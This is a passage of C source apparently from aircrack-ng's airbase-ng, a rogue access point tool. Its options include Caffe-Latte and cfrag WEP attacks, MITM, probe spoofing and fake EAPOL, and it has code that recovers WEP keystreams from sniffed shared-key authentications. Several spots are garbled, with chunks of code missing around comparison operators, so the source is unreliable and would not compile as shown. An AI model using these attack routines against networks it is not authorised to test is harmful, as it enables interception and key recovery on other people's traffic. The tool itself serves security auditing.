"\x30\x28\x01\x00\x00\x0f\xac\x01\x05\x00\x00\x0f\xac\x01\x00\x0f" \ "\xac\x02\x00\x0f\xac\x03\x00\x0f\xac\x04\x00\x0f\xac\x05\x02\x00" \ "\x00\x0f\xac\x01\x00\x0f\xac\x02\x03\x00" #define ALL_WPA1_TAGS \ "\xdd\x2A\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x05\x00\x00\x50" \ "\xf2\x01\x00\x50\xf2\x02\x00\x50\xf2\x03\x00\x50\xf2\x04\x00\x50" \ "\xf2\x05\x02\x00\x00\x50\xf2\x01\x00\x50\xf2\x02" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int add_crc32(unsigned char* data, int length); extern const unsigned long int crc_tbl[256]; char usage[] = "\n" " %s - (C) 2008-2013 Thomas d'Otreppe\n" " Original work: Martin Beck\n" " http://www.aircrack-ng.org\n" "\n" " usage: airbase-ng \n" "\n" " Options:\n" "\n" " -a bssid : set Access Point MAC address\n" " -i iface : capture packets from this interface\n" // " -y file : read PRGA from this file\n" " -w WEP key : use this WEP key to en-/decrypt packets\n" // " -t tods : send frames to AP (1) or to client (0)\n" // " -r file : read frames out of pcap file\n" " -h MAC : source mac for MITM mode\n" " -f disallow : disallow specified client MACs (default: allow)\n" " -W 0|1 : [don't] set WEP flag in beacons 0|1 (default: auto)\n" " -q : quiet (do not print statistics)\n" " -v : verbose (print more messages)\n" //" -M : M-I-T-M between [specified] clients and bssids\n" " -A : Ad-Hoc Mode (allows other clients to peer)\n" " -Y in|out|both : external packet processing\n" " -c channel : sets the channel the AP is running on\n" " -X : hidden ESSID\n" " -s : force shared key authentication (default: auto)\n" " -S : set shared key challenge length (default: 128)\n" " -L : Caffe-Latte WEP attack (use if driver can't send frags)\n" " -N : cfrag WEP attack (recommended)\n" " -x nbpps : number of packets per second (default: 100)\n" " -y : disables responses to broadcast probes\n" " -0 : set all WPA,WEP,open tags. can't be used with -z & -Z\n" " -z type : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104\n" " -Z type : same as -z, but for WPA2\n" " -V type : fake EAPOL 1=MD5 2=SHA1 3=auto\n" " -F prefix : write all sent and received frames into pcap file\n" " -P : respond to all probes, even when specifying ESSIDs\n" " -I interval : sets the beacon interval value in ms\n" " -C seconds : enables beaconing of probed ESSID values (requires -P)\n" "\n" " Filter options:\n" " --bssid MAC : BSSID to filter/use\n" " --bssids file : read a list of BSSIDs out of that file\n" " --client MAC : MAC of client to filter\n" " --clients file : read a list of MACs out of that file\n" " --essid ESSID : specify a single ESSID (default: default)\n" " --essids file : read a list of ESSIDs out of that file\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { struct ST_info *st_1st, *st_end; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char f_bssid[6]; unsigned char f_netmask[6]; char *s_face; char *s_file; uchar *prga; char *dump_prefix; char *keyout; char *f_cap_name; char *prefix; int f_index; /* outfiles index */ FILE *f_cap; /* output cap file */ FILE *f_xor; /* output prga file */ unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \ up to 4096Byte */ time_t sk_start; int sk_len; int sk_len2; int r_nbpps; int prgalen; int tods; uchar wepkey[64]; int weplen, crypt; int f_essid; int promiscuous; int beacon_cache; int channel; int setWEP; int quiet; int mitm; int external; int hidden; int interval; int forceska; int skalen; int filter; int caffelatte; int ringbuffer; int adhoc; int nb_arp; int verbose; int wpa1type; int wpa2type; int nobroadprobe; int sendeapol; int allwpa; int cf_count; int cf_attack; int record_data; int ti_mtu; //MTU of tun/tap interface int wif_mtu; //MTU of wireless interface } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; struct tif *dv_ti; struct tif *dv_ti2; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; struct ARP_req { unsigned char *buf; int len; }; struct AP_conf { unsigned char bssid[6]; char *essid; int essid_len; unsigned short interval; unsigned char capa[2]; }; typedef struct ESSID_list* pESSID_t; struct ESSID_list { char *essid; unsigned char len; pESSID_t next; time_t expire; }; typedef struct MAC_list* pMAC_t; struct MAC_list { unsigned char mac[6]; pMAC_t next; }; typedef struct Fragment_list* pFrag_t; struct Fragment_list { unsigned char source[6]; unsigned short sequence; unsigned char* fragment[16]; short fragmentlen[16]; char fragnum; unsigned char* header; short headerlen; struct timeval access; char wep; pFrag_t next; }; /* linked list of detected clients */ struct ST_info { struct ST_info *prev; /* the prev client in list */ struct ST_info *next; /* the next client in list */ struct AP_info *base; /* AP this client belongs to */ time_t tinit, tlast; /* first and last time seen */ unsigned long nb_pkt; /* total number of packets */ unsigned char stmac[6]; /* the client's MAC address */ char essid[256]; /* last associated essid */ int essid_length; /* essid length of last asso */ int probe_index; /* probed ESSIDs ring index */ char probes[NB_PRB][256];/* probed ESSIDs ring buffer */ int ssid_length[NB_PRB]; /* ssid lengths ring buffer */ int power; /* last signal power */ int rate_to; /* last bitrate to station */ int rate_from; /* last bitrate from station */ struct timeval ftimer; /* time of restart */ int missed; /* number of missed packets */ unsigned int lastseq; /* last seen sequnce number */ struct WPA_hdsk wpa; /* WPA handshake data */ int wpatype; /* 1=wpa1 2=wpa2 */ int wpahash; /* 1=md5(tkip) 2=sha1(ccmp) */ int wep; /* capability encryption bit */ }; typedef struct CF_packet *pCF_t; struct CF_packet { uchar frags[3][128]; /* first fragments to fill a gap */ uchar final[4096]; /* final frame derived from orig */ int fraglen[3]; /* fragmentation frame lengths */ int finallen; /* length of frame in final[] */ int xmitcount; /* how often was this frame sent */ unsigned char fragnum; /* number of fragments to send */ pCF_t next; /* next set of fragments to send */ }; pthread_mutex_t mx_cf; /* lock write access to rCF */ pthread_mutex_t mx_cap; /* lock write access to rCF */ unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; int ctrl_c, alarmed, invalid_channel_displayed; char * iwpriv; struct ARP_req * arp; pthread_t beaconpid; pthread_t caffelattepid; pthread_t cfragpid; pESSID_t rESSID; pMAC_t rBSSID; pMAC_t rClient; pFrag_t rFragment; pCF_t rCF; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int addESSID(char* essid, int len, int expiration) { pESSID_t tmp; pESSID_t cur = rESSID; time_t now; if(essid == NULL) return -1; if(len <= 0 || len > 255) return -1; if(rESSID == NULL) return -1; while(cur->next != NULL) { // if it already exists, just update the expiration time if(cur->len == len && ! memcmp(cur->essid, essid, len)) { if(cur->expire && expiration) { time(&now); cur->expire = now + expiration; } return 0; } cur = cur->next; } //alloc mem tmp = (pESSID_t) malloc(sizeof(struct ESSID_list)); //set essid tmp->essid = (char*) malloc(len+1); memcpy(tmp->essid, essid, len); tmp->essid[len] = 0x00; tmp->len = len; // set expiration date if(expiration) { time(&now); tmp->expire = now + expiration; } else { tmp->expire = 0; } tmp->next = NULL; cur->next = tmp; return 0; } int capture_packet(uchar* packet, int length) { struct pcap_pkthdr pkh; struct timeval tv; int n; if( opt.f_cap != NULL && length >= 10) { pkh.caplen = pkh.len = length; gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; n = sizeof( pkh ); flock(fileno(opt.f_cap), LOCK_EX); if( fwrite( &pkh, 1, n, opt.f_cap ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); flock(fileno(opt.f_cap), LOCK_UN); return( 1 ); } fflush( stdout ); n = pkh.caplen; if( fwrite( packet, 1, n, opt.f_cap ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); flock(fileno(opt.f_cap), LOCK_UN); return( 1 ); } fflush( stdout ); fflush( opt.f_cap ); flock(fileno(opt.f_cap), LOCK_UN); } return 0; } int dump_initialize( char *prefix ) { int i=0; FILE *f; char ofn[1024]; struct pcap_file_header pfh; if ( prefix == NULL) { return( 0 ); } /* check not to overflow the ofn buffer */ if( strlen( prefix ) >= sizeof( ofn ) - 10 ) prefix[sizeof( ofn ) - 10] = '\0'; /* make sure not to overwrite any existing file */ memset( ofn, 0, sizeof( ofn ) ); opt.f_index = 1; do { snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d.%s", prefix, opt.f_index, "cap" ); if( ( f = fopen( ofn, "rb+" ) ) != NULL ) { fclose( f ); opt.f_index++; continue; } i++; } while( i < 1 ); opt.prefix = (char*) malloc(strlen(prefix)+2); snprintf(opt.prefix, strlen(prefix)+1, "%s", prefix); /* create the output packet capture file */ snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d.cap", prefix, opt.f_index ); if( ( opt.f_cap = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); return( 1 ); } opt.f_cap_name = (char*) malloc(128); snprintf(opt.f_cap_name, 127, "%s",ofn); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; if( fwrite( &pfh, 1, sizeof( pfh ), opt.f_cap ) != (size_t) sizeof( pfh ) ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } if(!opt.quiet) { PCT; printf("Created capture file \"%s\".\n", ofn); } return( 0 ); } int addFrag(unsigned char* packet, unsigned char* smac, int len) { pFrag_t cur = rFragment; int seq, frag, wep, z, i; unsigned char frame[4096]; unsigned char K[128]; if(packet == NULL) return -1; if(smac == NULL) return -1; if(len <= 32 || len > 2000) return -1; if(rFragment == NULL) return -1; memset(frame, 0, 4096); memcpy(frame, packet, len); z = ( ( frame[1] & 3 ) != 3 ) ? 24 : 30; frag = frame[22] & 0x0F; seq = (frame[22] >> 4) | (frame[23] << 4); wep = (frame[1] & 0x40) >> 6; if(frag < 0 || frag > 15) return -1; if(wep && opt.crypt != CRYPT_WEP) return -1; if(wep) { //decrypt it memcpy( K, frame + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( frame + z + 4, len - z - 4, K, 3 + opt.weplen ) == 0 && (len-z-4 > 8) ) { printf("error decrypting... len: %d\n", len-z-4); return -1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ len -= 8; memcpy( frame + z, frame + z + 4, len - z ); frame[1] &= 0xBF; } while(cur->next != NULL) { cur = cur->next; if( (memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence) && (wep == cur->wep) ) { //entry already exists, update // printf("got seq %d, added fragment %d \n", seq, frag); if(cur->fragment[frag] != NULL) return 0; if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; gettimeofday(&cur->access, NULL); return 0; } } // printf("new seq %d, added fragment %d \n", seq, frag); //new entry, first fragment received //alloc mem cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list)); cur = cur->next; for(i=0; i<16; i++) { cur->fragment[i] = NULL; cur->fragmentlen[i] = 0; } if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } else { cur->fragnum = 0; } //remove retry & more fragments flag frame[1] &= 0xF3; //set frag number to 0 frame[22] &= 0xF0; memcpy(cur->source, smac, 6); cur->sequence = seq; cur->header = (unsigned char*) malloc(z); memcpy(cur->header, frame, z); cur->headerlen = z; cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; cur->wep = wep; gettimeofday(&cur->access, NULL); cur->next = NULL; return 0; } int timeoutFrag() { pFrag_t old, cur = rFragment; struct timeval tv; int64_t timediff; int i; if(rFragment == NULL) return -1; gettimeofday(&tv, NULL); while(cur->next != NULL) { old = cur->next; timediff = (tv.tv_sec - old->access.tv_sec)*1000000 + (tv.tv_usec - old->access.tv_usec); if(timediff > FRAG_TIMEOUT) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); } cur = cur->next; } return 0; } int delFrag(unsigned char* smac, int sequence) { pFrag_t old, cur = rFragment; int i; if(rFragment == NULL) return -1; if(smac == NULL) return -1; if(sequence < 0) return -1; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); return 0; } cur = cur->next; } return 0; } unsigned char* getCompleteFrag(unsigned char* smac, int sequence, int *packetlen) { pFrag_t old, cur = rFragment; int i, len=0; unsigned char* packet=NULL; unsigned char K[128]; if(rFragment == NULL) return NULL; if(smac == NULL) return NULL; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //check if all frags available if(old->fragnum == 0) return NULL; for(i=0; i<=old->fragnum; i++) { if(old->fragment[i] == NULL) return NULL; len += old->fragmentlen[i]; } if(len > 2000) return NULL; // printf("got a complete frame -> build it\n"); if(old->wep) { if( opt.crypt == CRYPT_WEP) { packet = (unsigned char*) malloc(len+old->headerlen+8); K[0] = rand() & 0xFF; K[1] = rand() & 0xFF; K[2] = rand() & 0xFF; K[3] = 0x00; memcpy(packet, old->header, old->headerlen); len=old->headerlen; memcpy(packet+len, K, 4); len+=4; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } /* write crc32 value behind data */ if( add_crc32(packet+old->headerlen+4, len-old->headerlen-4) != 0 ) return NULL; len += 4; //icv memcpy( K + 3, opt.wepkey, opt.weplen ); encrypt_wep( packet+old->headerlen+4, len-old->headerlen-4, K, opt.weplen+3 ); packet[1] = packet[1] | 0x40; //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } else return NULL; } else { packet = (unsigned char*) malloc(len+old->headerlen); memcpy(packet, old->header, old->headerlen); len=old->headerlen; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } } cur = cur->next; } return packet; } int addMAC(pMAC_t pMAC, unsigned char* mac) { pMAC_t cur = pMAC; if(mac == NULL) return -1; if(pMAC == NULL) return -1; while(cur->next != NULL) cur = cur->next; //alloc mem cur->next = (pMAC_t) malloc(sizeof(struct MAC_list)); cur = cur->next; //set mac memcpy(cur->mac, mac, 6); cur->next = NULL; return 0; } int delESSID(char* essid, int len) { pESSID_t old, cur = rESSID; if(essid == NULL) return -1; if(len <= 0 || len > 255) return -1; if(rESSID == NULL) return -1; while(cur->next != NULL) { old = cur->next; if(old->len == len) { if(memcmp(old->essid, essid, len) == 0) { //got it cur->next = old->next; free(old->essid); old->essid = NULL; old->next = NULL; old->len = 0; free(old); return 0; } } cur = cur->next; } return -1; } void flushESSID(void) { pESSID_t old; pESSID_t cur = rESSID; time_t now; if(rESSID == NULL) return; while(cur->next != NULL) { old = cur->next; if(old->expire) { time(&now); if(now > old->expire) { //got it cur->next = old->next; free(old->essid); old->essid = NULL; old->next = NULL; old->len = 0; free(old); return; } } cur = cur->next; } } int delMAC(pMAC_t pMAC, char* mac) { pMAC_t old, cur = pMAC; if(mac == NULL) return -1; if(pMAC == NULL) return -1; while(cur->next != NULL) { old = cur->next; if(memcmp(old->mac, mac, 6) == 0) { //got it cur->next = old->next; old->next = NULL; free(old); return 0; } cur = cur->next; } return -1; } int gotESSID(char* essid, int len) { pESSID_t old, cur = rESSID; if(essid == NULL) return -1; if(len <= 0 || len > 255) return -1; if(rESSID == NULL) return -1; while(cur->next != NULL) { old = cur->next; if(old->len == len) { if(memcmp(old->essid, essid, len) == 0) { return 1; } } cur = cur->next; } return 0; } int gotMAC(pMAC_t pMAC, unsigned char* mac) { pMAC_t cur = pMAC; if(mac == NULL) return -1; if(pMAC == NULL) return -1; while(cur->next != NULL) { cur = cur->next; if(memcmp(cur->mac, mac, 6) == 0) { //got it return 1; } } return 0; } char* getESSID(int *len) { if(rESSID == NULL) return NULL; if(rESSID->next == NULL) return NULL; *len = rESSID->next->len; return rESSID->next->essid; } int getESSIDcount() { pESSID_t cur = rESSID; int count=0; if(rESSID == NULL) return -1; while(cur->next != NULL) { cur = cur->next; count++; } return count; } int getMACcount(pMAC_t pMAC) { pMAC_t cur = pMAC; int count=0; if(pMAC == NULL) return -1; while(cur->next != NULL) { cur = cur->next; count++; } return count; } unsigned char* getMAC(pMAC_t pMAC) { pMAC_t cur = pMAC; if(pMAC == NULL) return NULL; if(cur->next != NULL) return cur->next->mac; return NULL; } int addESSIDfile(char* filename) { FILE *list; char essid[256]; int x; list = fopen(filename, "r"); if(list == NULL) { perror("Unable to open ESSID list"); return -1; } while( fgets(essid, 256, list) != NULL ) { // trim trailing whitespace x = strlen(essid) - 1; while (x >= 0 && isspace((int)essid[x])) essid[x--] = 0; if(strlen(essid)) addESSID(essid, strlen(essid), 0); } fclose(list); return 0; } int addMACfile(pMAC_t pMAC, char* filename) { FILE *list; unsigned char mac[6]; char buffer[256]; list = fopen(filename, "r"); if(list == NULL) { perror("Unable to open MAC list"); return -1; } while( fgets(buffer, 256, list) != NULL ) { if(getmac(buffer, 1, mac) == 0) addMAC(pMAC, mac); } fclose(list); return 0; } int is_filtered_netmask(uchar *bssid) { uchar mac1[6]; uchar mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & opt.f_netmask[i]; mac2[i] = opt.f_bssid[i] & opt.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ if (wi_write(wi, buf, count, NULL) == -1) { perror("wi_write()"); return -1; } pthread_mutex_lock( &mx_cap ); if(opt.record_data) capture_packet(buf, count); pthread_mutex_unlock( &mx_cap ); nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, NULL); if (rc == -1) { perror("wi_read()"); return -1; } return rc; } int msleep( int msec ) { struct timeval tv, tv2; float f, ticks; int n; if(msec == 0) msec = 1; ticks = 0; while( 1 ) { /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1024 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks += f / 1024; } if( ( ticks / 1024 * 1000 ) < msec ) continue; /* threshold reached */ break; } return 0; } int check_shared_key(unsigned char *h80211, int caplen) { int m_bmac, m_smac, m_dmac, n, textlen; char ofn[1024]; unsigned char text[4096]; unsigned char prga[4096]; unsigned int long crc; if((unsigned)caplen > sizeof(opt.sharedkey[0])) return 1; m_bmac = 16; m_smac = 10; m_dmac = 4; if( time(NULL) - opt.sk_start > 5) { /* timeout(5sec) - remove all packets, restart timer */ memset(opt.sharedkey, '\x00', 4096*3); opt.sk_start = time(NULL); } /* is auth packet */ if( (h80211[1] & 0x40) != 0x40 ) { /* not encrypted */ if( ( h80211[24] + (h80211[25] << 8) ) == 1 ) { /* Shared-Key Authentication */ if( ( h80211[26] + (h80211[27] << 8) ) == 2 ) { /* sequence == 2 */ memcpy(opt.sharedkey[0], h80211, caplen); opt.sk_len = caplen-24; } if( ( h80211[26] + (h80211[27] << 8) ) == 4 ) { /* sequence == 4 */ memcpy(opt.sharedkey[2], h80211, caplen); } } else return 1; } else { /* encrypted */ memcpy(opt.sharedkey[1], h80211, caplen); opt.sk_len2 = caplen-24-4; } /* check if the 3 packets form a proper authentication */ if( ( memcmp(opt.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(opt.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(opt.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */ { return 1; } if( ( memcmp(opt.sharedkey[0]+m_bmac, opt.sharedkey[1]+m_bmac, 6) != 0 ) || ( memcmp(opt.sharedkey[0]+m_bmac, opt.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */ { return 1; } if( ( memcmp(opt.sharedkey[0]+m_smac, opt.sharedkey[2]+m_smac, 6) != 0 ) || ( memcmp(opt.sharedkey[0]+m_smac, opt.sharedkey[1]+m_dmac, 6) != 0 ) ) /* SA in 2&4 != DA in 3 */ { return 1; } if( (memcmp(opt.sharedkey[0]+m_dmac, opt.sharedkey[2]+m_dmac, 6) != 0 ) || (memcmp(opt.sharedkey[0]+m_dmac, opt.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */ { return 1; } textlen = opt.sk_len; if(textlen+4 != opt.sk_len2) { if(!opt.quiet) { PCT; printf("Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X (expected: %d, got %d bytes)\n", *(opt.sharedkey[0]+m_dmac), *(opt.sharedkey[0]+m_dmac+1), *(opt.sharedkey[0]+m_dmac+2), *(opt.sharedkey[0]+m_dmac+3), *(opt.sharedkey[0]+m_dmac+4), *(opt.sharedkey[0]+m_dmac+5), textlen+4, opt.sk_len2); } return 1; } if((unsigned)textlen > sizeof(text) - 4) return 1; memcpy(text, opt.sharedkey[0]+24, textlen); /* increment sequence number from 2 to 3 */ text[2] = text[2]+1; crc = 0xFFFFFFFF; for( n = 0; n < textlen; n++ ) crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; /* append crc32 over body */ text[textlen] = (crc ) & 0xFF; text[textlen+1] = (crc >> 8) & 0xFF; text[textlen+2] = (crc >> 16) & 0xFF; text[textlen+3] = (crc >> 24) & 0xFF; /* cleartext XOR cipher */ for(n=0; n<(textlen+4); n++) { prga[4+n] = (text[n] ^ opt.sharedkey[1][28+n]) & 0xFF; } /* write IV+index */ prga[0] = opt.sharedkey[1][24] & 0xFF; prga[1] = opt.sharedkey[1][25] & 0xFF; prga[2] = opt.sharedkey[1][26] & 0xFF; prga[3] = opt.sharedkey[1][27] & 0xFF; if( opt.f_xor != NULL ) { fclose(opt.f_xor); opt.f_xor = NULL; } snprintf( ofn, sizeof( ofn ) - 1, "keystream-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", opt.f_index, *(opt.sharedkey[0]+m_dmac), *(opt.sharedkey[0]+m_dmac+1), *(opt.sharedkey[0]+m_dmac+2), *(opt.sharedkey[0]+m_dmac+3), *(opt.sharedkey[0]+m_dmac+4), *(opt.sharedkey[0]+m_dmac+5), "xor" ); opt.f_index++; opt.f_xor = fopen( ofn, "w"); if(opt.f_xor == NULL) return 1; for(n=0; n 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } if( (*dest)[3] > 0x03 ) { printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(uchar *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } int xor_keystream(uchar *ph80211, uchar *keystream, int len) { int i=0; for (i=0; i> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if ( ( h80211[1] & 3 ) == 3 ) key_index_offset = 33; //WDS packets have an additional MAC adress else key_index_offset = 27; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } for( i = 0; i < caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf("\n"); } #define IEEE80211_LLC_SNAP \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" int set_IVidx(unsigned char* packet) { uchar ividx[4]; if(packet == NULL) return 1; if(opt.prga == NULL && opt.crypt != CRYPT_WEP) { printf("Please specify a WEP key (-w).\n"); return 1; } if( opt.crypt == CRYPT_WEP ) { ividx[0] = rand() & 0xFF; ividx[1] = rand() & 0xFF; ividx[2] = rand() & 0xFF; ividx[3] = 0x00; } else if(opt.prga != NULL) { memcpy(ividx, opt.prga, 4); } /* insert IV+index */ memcpy(packet+24, ividx, 4); return 0; } int encrypt_data(unsigned char* data, int length) { uchar cipher[4096]; uchar K[128]; if(data == NULL) return 1; if(length < 1 || length > 2044) return 1; if(opt.prga == NULL && opt.crypt != CRYPT_WEP) { printf("Please specify a WEP key (-w).\n"); return 1; } if(opt.prgalen-4 < length && opt.crypt != CRYPT_WEP) { printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4)); return 1; } /* encrypt data */ if(opt.crypt == CRYPT_WEP) { K[0] = rand() & 0xFF; K[1] = rand() & 0xFF; K[2] = rand() & 0xFF; memcpy( K + 3, opt.wepkey, opt.weplen ); encrypt_wep( data, length, K, opt.weplen+3 ); memcpy(cipher, data, length); memcpy(data+4, cipher, length); memcpy(data, K, 3); data[3] = 0x00; } return 0; } int create_wep_packet(unsigned char* packet, int *length, int hdrlen) { if(packet == NULL) return 1; /* write crc32 value behind data */ if( add_crc32(packet+hdrlen, *length-hdrlen) != 0 ) return 1; /* encrypt data+crc32 and keep a 4byte hole */ if( encrypt_data(packet+hdrlen, *length-hdrlen+4) != 0 ) return 1; // /* write IV+IDX right in front of the encrypted data */ // if( set_IVidx(packet) != 0 ) return 1; /* set WEP bit */ packet[1] = packet[1] | 0x40; *length+=8; /* now you got yourself a shiny, brand new encrypted wep packet ;) */ return 0; } int intercept(uchar* packet, int length) { uchar buf[4096]; uchar K[128]; int z=0; memset(buf, 0, 4096); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if( opt.crypt == CRYPT_WEP ) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { // ICV check failed! return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); } /* clear wep bit */ packet[1] &= 0xBF; //insert ethernet header memcpy(buf+14, packet, length); length += 14; ti_write(dev.dv_ti2, buf, length); return 0; } int packet_xmit(uchar* packet, int length) { uchar buf[4096]; int fragments=1, i; int newlen=0, usedlen=0, length2; if(packet == NULL) return 1; if(length < 38) return 1; if(length-14 > 16*opt.wif_mtu-MAX_FRAME_EXTENSION) return 1; if(length+MAX_FRAME_EXTENSION > opt.wif_mtu) fragments=((length-14+MAX_FRAME_EXTENSION) / opt.wif_mtu) + 1; if(fragments > 16) return 1; if(fragments > 1) newlen = (length-14+MAX_FRAME_EXTENSION)/fragments; else newlen = length-14; for(i=0; i> 4) | (frame[23] << 4); h80211[22] |= i & 0x0F; //set fragment h80211[1] |= 0x04; //more frags if(i == (fragments-1)) { h80211[1] &= 0xFB; //no more frags } // length = length+32-14; //32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE length2 = newlen+32; if((opt.external & EXT_OUT)) { memset(buf, 0, 4096); memcpy(buf+14, h80211, length2); //mark it as outgoing packet buf[12] = 0xFF; buf[13] = 0xFF; ti_write(dev.dv_ti2, buf, length2+14); // return 0; } else { if( opt.crypt == CRYPT_WEP || opt.prgalen > 0 ) { if(create_wep_packet(h80211, &length2, 24) != 0) return 1; } send_packet(h80211, length2); } usedlen += newlen; if((i+1) 3000) return 1; memset(buf, 0, 4096); if(memcmp(packet, buf, 11) != 0) { // Wrong header return 1; } /* cut ethernet header */ memcpy(buf, packet, length); length -= 14; memcpy(packet, buf+14, length); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if( opt.crypt == CRYPT_WEP || opt.prgalen > 0 ) { 